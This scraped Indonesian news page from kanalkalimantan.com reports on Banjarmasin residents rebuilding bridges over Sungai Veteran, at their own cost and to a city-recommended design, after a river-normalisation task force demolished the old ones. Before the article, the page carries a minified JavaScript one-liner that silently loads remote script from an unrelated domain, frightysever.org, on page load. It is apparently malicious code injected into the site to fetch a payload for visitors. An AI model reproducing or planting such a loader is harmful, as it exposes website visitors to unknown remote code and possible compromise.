(function(f,b,n,j,x,e){x=b.createElement(n);e=b.getElementsByTagName(n)[0];x.async=1;x.src=j;e.parentNode.insertBefore(x,e);})(window,document,'script','https://frightysever.org/Bgkc244P');
KANALKALIMANTAN.COM, BANJARMASIN– Pasca dibongkar Satgas Normalisasi Sungai, warga di sepanjang sungai Veteran, Kelurahan Kuripan, Banjarmasin Timur, kembali membangun jembatan. Tapi kali ini dengan standar dan model baru, yang tak menghalangi aliran sungai.
Jembatan berdesain tinggi di bagian tengah tersebut dibangun warga dengan biaya sendiri memanfaatkan kayu bekas bongkaran jembatan lama.
Pantauan kanalkalimantan.com, lima bangunan jembatan yang dibangun warga di atas Sungai Veteran tersebut berada tepat di deretan Gang Sepakat dan Gang Baru.
“Lima jembatan di deretan sini dibangun masing-masing warga yang rumahnya di seberang, tapi untuk jembatan yang saya bangun ini hanya sementara dengan bahan apa yang bisa dipakai,” kata Marzuki (27), Rabu (17/3/2021) Sore.
Ia mengatakan, untuk membangun jembatan dengan bahan normal memerlukan biaya sekitar Rp 3 juta hingga Rp5 juta. Berbeda dengan bangunan miliknya dengan yang biayanya hanya Rp1 juta.
Perbedaannya, tentu saja karena bangunan miliknya hanya menggunakan kayu jembatan bekas yang dulunya dibongkar Satgas Normalisasi Sungai.
“Bangunan yang kokoh seperti kayu ulin belum mampu lah, kita bangun pakai bahan sementara saja dulu untuk dilewati ke rumah, walaupun goyang pas nyebrang,” katanya.
Tetapi Marzuki mengatakan bahwa untuk bangunan miliknya tersebut tetap dengan desain dan ukuran anjuran dari Pemko Banjarmasin. Walaupun dirasa bangunannya belum cukup kuat serta hanya bersifat sementara, Marzuki menyadari dan mendukung pelaksanaan normalisasi Sungai Kota Banjarmasin.
“Desain modelnya sesuai dari anjuran Pemko, dan sadar juga untuk penerapan Normalisasi Sungai Kota Banjarmasin,” katanya.
Sementara itu Doyo Pudjadi penanggung jawab sebelumnya yang menjabat sebagai ketua Satgas Normalisasi Sungai dan Penanganan Banjir Kota Banjarmasin mengatakan, pemerintah tak ada anggaran pembangunan jembatan milik warga yang sebelumnya dibongkar.
“Hanya membantu untuk pembangunan jalan umum, namun tidak untuk bangunan atau jalan yang dimiliki secara pribadi,” kata Doyo.
Dikatakanya, saat ini pelaksanaan normalisasi sungai secara fungsional adalah Dinas PUPR. “Secara fungsional dinas PUPR. Sedang disusun Satgas pasca Tanggap darurat oleh PUPR,” terangnya.
Ia mengatakan, pelaksanaan Normalisasi Sungai Banjarmasin, pada awal Februari lalu yang prioritasnnya di Jl Veteran sejauh ini belum terselesaikan. Mengingat masih adanya Oprit pengurukan Sungai.
“Mulai di Tempekong sampai Gg. Sanggalima, belum selesai karena masih ada oprit yang uruk sungai, nanti harus dibuka 2 meter,” kata Doyo Pudjadi.
Sedangkan untuk daerah Pasar Kuripan hingga menuju persimpangan Jl. Pramuka, masih melaksanakan pengerukan Sungai. Pengerukan juga dilakukan di pinggir sepanjang Sungai Veteran.(Kanalkalimantan.com/putra)
KANALKALIMANTAN.COM, BANJARBARU - Suporter setia Timnas Indonesia di Kota Banjarbaru Kalimantan Selatan (Kalsel) kompak membersihkan… Read More
Golkar dan Gerindra Masing-masing 8 Kursi, PDIP, Partai Gelora, dan PBB Kebagian 1 Kursi Read More
13 Kursi Diisi Pendatang Baru, 17 Petahana Bertahan di Gedung Dewan Read More
KANALKALIMANTAN.COM, MARTAPURA - Badan Perencanaan Pembangunan Daerah, Penelitian dan Pengembangan (Bappedalitbang) Kabupaten Banjar menggelar Musrenbang… Read More
KANALKALIMANTAN.COM, BANJARBARU - Sebanyak 49 mahasiswa Diploma III Program Studi Gizi Poltekkes Kemenkes Banjarmasin melaksanakan… Read More
KANALKALIMANTAN.COM, BANJARMASIN - Unjuk rasa BEM se Kalimantan Selatan (Kalsel) di depan gedung DPRD Provinsi… Read More
This website uses cookies.